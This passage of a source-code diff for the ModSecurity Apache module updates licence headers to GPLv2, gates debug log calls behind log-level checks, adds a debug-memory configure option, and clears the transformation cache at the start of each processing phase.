- * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #include "modsecurity.h" @@ -105,6 +113,10 @@ int apache2_exec(modsec_rec *msr, const char *command, const char **argv, char * apr_procattr_io_set(procattr, APR_NO_PIPE, APR_FULL_BLOCK, APR_NO_PIPE); apr_procattr_cmdtype_set(procattr, APR_SHELLCMD); + if (msr->txcfg->debuglog_level >= 9) { + msr_log(msr, 9, "Exec: %s", log_escape_nq(r->pool, command)); + } + rc = apr_proc_create(procnew, command, argv, env, procattr, r->pool); if (rc != APR_SUCCESS) { msr_log(msr, 1, "Exec: Execution failed: %s (%s)", log_escape_nq(r->pool, command), @@ -139,8 +151,10 @@ int apache2_exec(modsec_rec *msr, const char *command, const char **argv, char * p++; } - msr_log(msr, 4, "Exec: First line from script output: \"%s\"", - log_escape(r->pool, buf)); + if (msr->txcfg->debuglog_level >= 4) { + msr_log(msr, 4, "Exec: First line from script output: \"%s\"", + log_escape(r->pool, buf)); + } if (output != NULL) *output = apr_pstrdup(r->pool, buf); @@ -189,7 +203,9 @@ void record_time_checkpoint(modsec_rec *msr, int checkpoint_no) { apr_snprintf(note_name, 99, "mod_security-time%d", checkpoint_no); apr_table_set(msr->r->notes, note_name, note); - msr_log(msr, 4, "Time #%d: %s", checkpoint_no, note); + if (msr->txcfg->debuglog_level >= 4) { + msr_log(msr, 4, "Time #%d: %s", checkpoint_no, note); + } } /** diff --git a/apache2/configure b/apache2/configure index cc1071dd..eb397c48 100755 --- a/apache2/configure +++ b/apache2/configure @@ -1299,6 +1299,7 @@ Optional Features: --enable-debug-conf Enable debug during configuration. --enable-debug-cache Enable debug for transformation caching. --enable-debug-acmp Enable debugging acmp code. + --enable-debug-mem Enable debug during configuration. --enable-performance-measurement Enable performance-measurement stats. --disable-modsec-api Disable the API; compiling against some older Apache @@ -5257,6 +5258,23 @@ else fi +# DEBUG_MEM +# Check whether --enable-debug-mem was given. +if test "${enable_debug_mem+set}" = set; then + enableval=$enable_debug_mem; + if test "$enableval" != "no"; then + debug_mem="-DDEBUG_MEM" + else + debug_mem= + fi + +else + + debug_mem= + +fi + + # PERFORMANCE_MEASUREMENT # Check whether --enable-performance-measurement was given. if test "${enable_performance_measurement+set}" = set; then @@ -5293,8 +5311,12 @@ fi ### Build *EXTRA_CFLAGS vars -EXTRA_CFLAGS="-O2 -g -Wall $strict_compile" -MODSEC_EXTRA_CFLAGS="$debug_conf $debug_cache $debug_acmp $perf_meas $modsec_api" +if test -n "$debug_mem"; then + EXTRA_CFLAGS="-O0 -g -Wall" +else + EXTRA_CFLAGS="-O2 -g -Wall $strict_compile" +fi +MODSEC_EXTRA_CFLAGS="$debug_conf $debug_cache $debug_acmp $debug_mem $perf_meas $modsec_api" APXS_WRAPPER=build/apxs-wrapper APXS_EXTRA_CFLAGS="" diff --git a/apache2/configure.in b/apache2/configure.in index 717221d6..2825c8b4 100644 --- a/apache2/configure.in +++ b/apache2/configure.in @@ -225,6 +225,21 @@ AC_ARG_ENABLE(debug-acmp, debug_acmp= ]) +# DEBUG_MEM +AC_ARG_ENABLE(debug-mem, + AS_HELP_STRING([--enable-debug-mem], + [Enable debug during configuration.]), +[ + if test "$enableval" != "no"; then + debug_mem="-DDEBUG_MEM" + else + debug_mem= + fi +], +[ + debug_mem= +]) + # PERFORMANCE_MEASUREMENT AC_ARG_ENABLE(performance-measurement, AS_HELP_STRING([--enable-performance-measurement], @@ -257,8 +272,12 @@ AC_ARG_ENABLE(modsec-api, ### Build *EXTRA_CFLAGS vars -EXTRA_CFLAGS="-O2 -g -Wall $strict_compile" -MODSEC_EXTRA_CFLAGS="$debug_conf $debug_cache $debug_acmp $perf_meas $modsec_api" +if test -n "$debug_mem"; then + EXTRA_CFLAGS="-O0 -g -Wall" +else + EXTRA_CFLAGS="-O2 -g -Wall $strict_compile" +fi +MODSEC_EXTRA_CFLAGS="$debug_conf $debug_cache $debug_acmp $debug_mem $perf_meas $modsec_api" APXS_WRAPPER=build/apxs-wrapper APXS_EXTRA_CFLAGS="" diff --git a/apache2/mod_security2.c b/apache2/mod_security2.c index 903884c3..fe405407 100644 --- a/apache2/mod_security2.c +++ b/apache2/mod_security2.c @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #include @@ -962,6 +970,8 @@ static void hook_insert_filter(request_rec *r) { } } +// TODO: Holding off on this for now (needs more testing) +#if 0 /** * Invoked whenever Apache starts processing an error. A chance * to insert ourselves into the output filter chain. @@ -1003,6 +1013,7 @@ static void hook_insert_error_filter(request_rec *r) { } } } +#endif #if (!defined(NO_MODSEC_API)) /** @@ -1106,7 +1117,9 @@ static void register_hooks(apr_pool_t *mp) { /* Filter hooks */ ap_hook_insert_filter(hook_insert_filter, NULL, NULL, APR_HOOK_FIRST); +#if 0 ap_hook_insert_error_filter(hook_insert_error_filter, NULL, NULL, APR_HOOK_FIRST); +#endif ap_register_input_filter("MODSECURITY_IN", input_filter, NULL, AP_FTYPE_CONTENT_SET); diff --git a/apache2/modsecurity.c b/apache2/modsecurity.c index f3139b16..fd8236ea 100644 --- a/apache2/modsecurity.c +++ b/apache2/modsecurity.c @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #include @@ -314,8 +322,8 @@ apr_status_t modsecurity_tx_init(modsec_rec *msr) { if (msr->collections_dirty == NULL) return -1; /* Other */ - msr->tcache = apr_hash_make(msr->mp); - if (msr->tcache == NULL) return -1; + msr->tcache = NULL; + msr->tcache_items = 0; msr->matched_rules = apr_array_make(msr->mp, 16, sizeof(void *)); if (msr->matched_rules == NULL) return -1; @@ -497,19 +505,76 @@ static apr_status_t modsecurity_process_phase_logging(modsec_rec *msr) { apr_status_t modsecurity_process_phase(modsec_rec *msr, unsigned int phase) { /* Check if we should run. */ if ((msr->was_intercepted)&&(phase != PHASE_LOGGING)) { - msr_log(msr, 4, "Skipping phase %i as request was already intercepted.", phase); + msr_log(msr, 4, "Skipping phase %d as request was already intercepted.", phase); return 0; } /* Do not process the same phase twice. */ if (msr->phase >= phase) { - msr_log(msr, 4, "Skipping phase %i because it was previously run (at %i now).", + msr_log(msr, 4, "Skipping phase %d because it was previously run (at %d now).", phase, msr->phase); return 0; } msr->phase = phase; + /* Clear out the transformation cache at the start of each phase */ + if (msr->txcfg->cache_trans == MODSEC_CACHE_ENABLED) { + if (msr->tcache) { + apr_hash_index_t *hi; + void *dummy; + apr_table_t *tab; + const void *key; + apr_ssize_t klen; + #ifdef CACHE_DEBUG + apr_pool_t *mp = msr->msc_rule_mptmp; + const apr_array_header_t *ctarr; + const apr_table_entry_t *ctelts; + msre_cache_rec *rec; + int cn = 0; + int ri; + #else + apr_pool_t *mp = msr->mp; + #endif + + for (hi = apr_hash_first(mp, msr->tcache); hi; hi = apr_hash_next(hi)) { + apr_hash_this(hi, &key, &klen, &dummy); + tab = (apr_table_t *)dummy; + + if (tab == NULL) continue; + + #ifdef CACHE_DEBUG + /* Dump the cache out as we clear */ + ctarr = apr_table_elts(tab); + ctelts = (const apr_table_entry_t*)ctarr->elts; + for (ri = 0; ri < ctarr->nelts; ri++) { + cn++; + rec = (msre_cache_rec *)ctelts[ri].val; + if (rec->changed) { + if (msr->txcfg->debuglog_level >= 9) { + msr_log(msr, 9, "CACHE: %5d) hits=%d key=%pp %x;%s=\"%s\" (%pp - %pp)", cn, rec->hits, key, rec->num, rec->path, log_escape_nq_ex(mp, rec->val, rec->val_len), rec->val, rec->val + rec->val_len); + } + } + else { + if (msr->txcfg->debuglog_level >= 9) { + msr_log(msr, 9, "CACHE: %5d) hits=%d key=%pp %x;%s=", cn, rec->hits, key, rec->num, rec->path); + } + } + } + #endif + + apr_table_clear(tab); + apr_hash_set(msr->tcache, key, klen, NULL); + } + + msr_log(msr, 9, "Cleared transformation cache for phase %d", msr->phase); + } + + msr->tcache_items = 0; + msr->tcache = apr_hash_make(msr->mp); + if (msr->tcache == NULL) return -1; + } + switch(phase) { case 1 : return modsecurity_process_phase_request_headers(msr); diff --git a/apache2/modsecurity.h b/apache2/modsecurity.h index 15fd2866..5d840df6 100644 --- a/apache2/modsecurity.h +++ b/apache2/modsecurity.h @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #ifndef _MODSECURITY_H_ @@ -30,6 +38,10 @@ typedef struct msc_string msc_string; #define DSOLOCAL #endif +#if defined(DEBUG_MEM) +/* Nothing Yet */ +#endif + /* For GNU C, tell the compiler to check printf like formatters */ #if (defined(__GNUC__) && !defined(SOLARIS2)) #define PRINTF_ATTRIBUTE(a,b) __attribute__((format (printf, a, b))) @@ -366,6 +378,7 @@ struct modsec_rec { /* data cache */ apr_hash_t *tcache; + apr_size_t tcache_items; /* removed rules */ apr_array_header_t *removed_rules; @@ -475,8 +488,10 @@ struct directory_config { /* Cache */ int cache_trans; + int cache_trans_incremental; apr_size_t cache_trans_min; apr_size_t cache_trans_max; + apr_size_t cache_trans_maxitems; /* Array to hold signatures of components, which will * appear in the ModSecurity signature in the audit log. diff --git a/apache2/msc_geo.c b/apache2/msc_geo.c index 3269ba3d..639bbe07 100644 --- a/apache2/msc_geo.c +++ b/apache2/msc_geo.c @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #include "msc_geo.h" diff --git a/apache2/msc_geo.h b/apache2/msc_geo.h index 9c6b5326..e00236cc 100644 --- a/apache2/msc_geo.h +++ b/apache2/msc_geo.h @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #ifndef _MSC_GEO_H_ diff --git a/apache2/msc_logging.c b/apache2/msc_logging.c index 24e940a1..68435870 100644 --- a/apache2/msc_logging.c +++ b/apache2/msc_logging.c @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #include "re.h" diff --git a/apache2/msc_logging.h b/apache2/msc_logging.h index 5b5cb92d..e568ca24 100644 --- a/apache2/msc_logging.h +++ b/apache2/msc_logging.h @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #ifndef _MSC_LOGGING_H_ diff --git a/apache2/msc_lua.c b/apache2/msc_lua.c index 6eaae2bc..c5a9c56d 100644 --- a/apache2/msc_lua.c +++ b/apache2/msc_lua.c @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #if defined(WITH_LUA) diff --git a/apache2/msc_lua.h b/apache2/msc_lua.h index 4f9ba937..83f6f540 100644 --- a/apache2/msc_lua.h +++ b/apache2/msc_lua.h @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #if defined(WITH_LUA) diff --git a/apache2/msc_multipart.c b/apache2/msc_multipart.c index bcf100f2..b8b56e68 100644 --- a/apache2/msc_multipart.c +++ b/apache2/msc_multipart.c @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #include diff --git a/apache2/msc_multipart.h b/apache2/msc_multipart.h index 0b06ce89..b55dd337 100644 --- a/apache2/msc_multipart.h +++ b/apache2/msc_multipart.h @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #ifndef _MSC_MULTIPART_H_ diff --git a/apache2/msc_parsers.c b/apache2/msc_parsers.c index dfe7dfc8..ed57c361 100644 --- a/apache2/msc_parsers.c +++ b/apache2/msc_parsers.c @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #include "msc_parsers.h" @@ -49,10 +57,18 @@ int parse_cookies_v0(modsec_rec *msr, char *_cookie_header, apr_table_t *cookies /* we ignore cookies with empty names */ if ((attr_name != NULL)&&(strlen(attr_name) != 0)) { if (attr_value != NULL) { - msr_log(msr, 5, "Adding request cookie: name \"%s\", value \"%s\"", log_escape(msr->mp, attr_name), log_escape(msr->mp, attr_value)); + if (msr->txcfg->debuglog_level >= 5) { + msr_log(msr, 5, "Adding request cookie: name \"%s\", value \"%s\"", + log_escape(msr->mp, attr_name), log_escape(msr->mp, attr_value)); + } + apr_table_add(cookies, attr_name, attr_value); } else { - msr_log(msr, 5, "Adding request cookie: name \"%s\", value empty", log_escape(msr->mp, attr_name)); + if (msr->txcfg->debuglog_level >= 5) { + msr_log(msr, 5, "Adding request cookie: name \"%s\", value empty", + log_escape(msr->mp, attr_name)); + } + apr_table_add(cookies, attr_name, ""); } @@ -169,12 +185,18 @@ int parse_cookies_v1(modsec_rec *msr, char *_cookie_header, apr_table_t *cookies } if (attr_value != NULL) { - msr_log(msr, 5, "Adding request cookie: name \"%s\", value \"%s\"", - log_escape(msr->mp, attr_name), log_escape(msr->mp, attr_value)); + if (msr->txcfg->debuglog_level >= 5) { + msr_log(msr, 5, "Adding request cookie: name \"%s\", value \"%s\"", + log_escape(msr->mp, attr_name), log_escape(msr->mp, attr_value)); + } + apr_table_add(cookies, attr_name, attr_value); } else { - msr_log(msr, 5, "Adding request cookie: name \"%s\", value empty", - log_escape(msr->mp, attr_name)); + if (msr->txcfg->debuglog_level >= 5) { + msr_log(msr, 5, "Adding request cookie: name \"%s\", value empty", + log_escape(msr->mp, attr_name)); + } + apr_table_add(cookies, attr_name, ""); } @@ -301,9 +323,11 @@ int parse_arguments(modsec_rec *msr, const char *s, apr_size_t inputlength, * */ void add_argument(modsec_rec *msr, apr_table_t *arguments, msc_arg *arg) { - msr_log(msr, 5, "Adding request argument (%s): name \"%s\", value \"%s\"", - arg->origin, log_escape_ex(msr->mp, arg->name, arg->name_len), - log_escape_ex(msr->mp, arg->value, arg->value_len)); + if (msr->txcfg->debuglog_level >= 5) { + msr_log(msr, 5, "Adding request argument (%s): name \"%s\", value \"%s\"", + arg->origin, log_escape_ex(msr->mp, arg->name, arg->name_len), + log_escape_ex(msr->mp, arg->value, arg->value_len)); + } apr_table_addn(arguments, log_escape_nq_ex(msr->mp, arg->name, arg->name_len), (void *)arg); } diff --git a/apache2/msc_parsers.h b/apache2/msc_parsers.h index 8aad1faa..563ee9d5 100644 --- a/apache2/msc_parsers.h +++ b/apache2/msc_parsers.h @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #ifndef _MSC_PARSERS_H_ diff --git a/apache2/msc_pcre.c b/apache2/msc_pcre.c index cd007e7a..f8b32152 100644 --- a/apache2/msc_pcre.c +++ b/apache2/msc_pcre.c @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #include "msc_pcre.h" diff --git a/apache2/msc_pcre.h b/apache2/msc_pcre.h index 8f41bf5a..67b6f9aa 100644 --- a/apache2/msc_pcre.h +++ b/apache2/msc_pcre.h @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #ifndef _MSC_PCRE_H_ diff --git a/apache2/msc_reqbody.c b/apache2/msc_reqbody.c index c88dde9e..26aed3a3 100644 --- a/apache2/msc_reqbody.c +++ b/apache2/msc_reqbody.c @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #include "modsecurity.h" diff --git a/apache2/msc_test.c b/apache2/msc_test.c index d41281a5..df73d63a 100644 --- a/apache2/msc_test.c +++ b/apache2/msc_test.c @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #include diff --git a/apache2/msc_util.c b/apache2/msc_util.c index 2006cb89..414d48eb 100644 --- a/apache2/msc_util.c +++ b/apache2/msc_util.c @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #include "msc_util.h" diff --git a/apache2/msc_util.h b/apache2/msc_util.h index 265bae31..40f225c0 100644 --- a/apache2/msc_util.h +++ b/apache2/msc_util.h @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #ifndef _UTIL_H_ diff --git a/apache2/msc_xml.c b/apache2/msc_xml.c index 3b5c133a..4dd212f3 100644 --- a/apache2/msc_xml.c +++ b/apache2/msc_xml.c @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #include "msc_xml.h" diff --git a/apache2/msc_xml.h b/apache2/msc_xml.h index 389d2996..ad6d0241 100644 --- a/apache2/msc_xml.h +++ b/apache2/msc_xml.h @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. 